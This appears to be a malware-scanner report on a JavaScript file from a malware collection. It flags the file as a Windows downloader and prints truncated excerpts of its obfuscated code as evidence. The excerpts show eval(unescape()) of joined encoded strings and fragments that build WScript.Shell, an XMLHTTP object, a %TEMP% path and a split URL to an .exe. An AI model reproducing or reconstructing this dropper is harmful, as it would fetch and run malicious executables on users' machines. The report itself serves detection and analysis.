Suspicious ^80% javascript-malware-collection Download

20160329_a5fc9a3e862e7e66c1fc1a3b54423832.js

Executes WScript.Shell, downloads, runs payload

URL scheme separator split mid-tokeneval() executing transformed code

SHA-256a810629ec69b9944369d7700f0a96cb8cff5e55453ea15b4be1b1668126818b6

Evidence

Calls JavaScript unescape lines 1–2

1fadeIn = 458;
2eval(unescape(["overwritten~20~3D~20~2858~29~3Bspeed~20~3D~20~28195~29~3B~20capName~20~3D~20~28125~29~3B~20divStyle~", "20~3D~20~2813~29~3B~20originalEvent~20~3D~20~28~22n~22~29~3Bvar~20to~20~3D~20~28~22ap~22~29~2C~20glo", "bal~20~3D~20~282~29~2C~20marginLeft~20~3D~20~28~22MLHTTP~22~29~2C~20reliableMarginLeft~20~3D~20~28~2", "2en~22~29~2C~20radioValue~20~3D~20~28~22s~22~29~3Bindex~20~3D~20~2883~29~3Bvar~20checkClone~20~3D~20", "~28~22c~22~29~2C~20expand~20~3D~20~28~22HTTP.~22~29~2C~20pop~20~3D~20~28~22TP.6.0~22~29~3BwebkitMatc", "hesSelector~20~3D~20~280~29~3BoverflowY~20~3D~20~28~22ostoo~22~29~2C~20e …

Joins array with a short delimiter lines 2–7

2:3331… ~28~22WScr", "i~22~29~3Bvar~20empty~20~3D~20~28~22r~22~29~3B~3B"].join("")
3		.replace(/~/g, '%')));
4fontWeight = owner = pnum = contains = reject.parsed();
5
6function ajax(mouseenter, name) {
7		var y = 0 …

Obfuscated computed call cluster lines 15–26

15:4… eturn y;
16}
17
18function wrapAll(firstChild, fadeIn) {
19		var y = 0;
20		init("tuples%20%3D%20pnum%5B%22WSc%22%20+%20getElementById%5D%5B%22Cre%22%20+%20pointerenter%20+%20%22ect%22%5D%28soFar%20+%20%22rip%22%20+%20rfocusable%20+%20%22l%22%29%3B");
21		return y;
22}
23
24function fireWith() {
25		var y = 0;
26		init("nativeStatusText%20%3D%20tuples%5Bexpanded%20+%20%22dEnvir%22%20+%20namespace%20+%20%22Strin%22%20+%20factory%5D%28%22%25TE%22%20+%20current%29%20+%20%22rbr%22%20+%20num%20+%20%22. …

URL scheme separator split mid-token lines 38–48

⋯4 lines
42function triggerHandler(set) {
43		var y = 0;
44		init("isWindow%28setup%20+%20%22p%3A//%22%20+%20buildParams%20+%20%22oosto%22%20+%20m%20+%20%22m/9%22%20+%20sortInput%20+%20%22TP.ex%22%20+%20fcamelCase%29%3B");
45		return y;
46}
47
48function init(fns) {

Dense concatenated string fragments lines 60–66

⋯4 lines
64function getJSON() {
65		var y = 0;
66		init("memory%20%3D%20%5BandSelf%20+%20%22.Serv%22%20+%20string%20+%20%22LHT%22%20+%20pop%2C%20%22Msxml%22%20+%20emptyGet%20+%20%22HTT%22%20+%20beforeSend%2C%20%22Msx%22%20+%20n …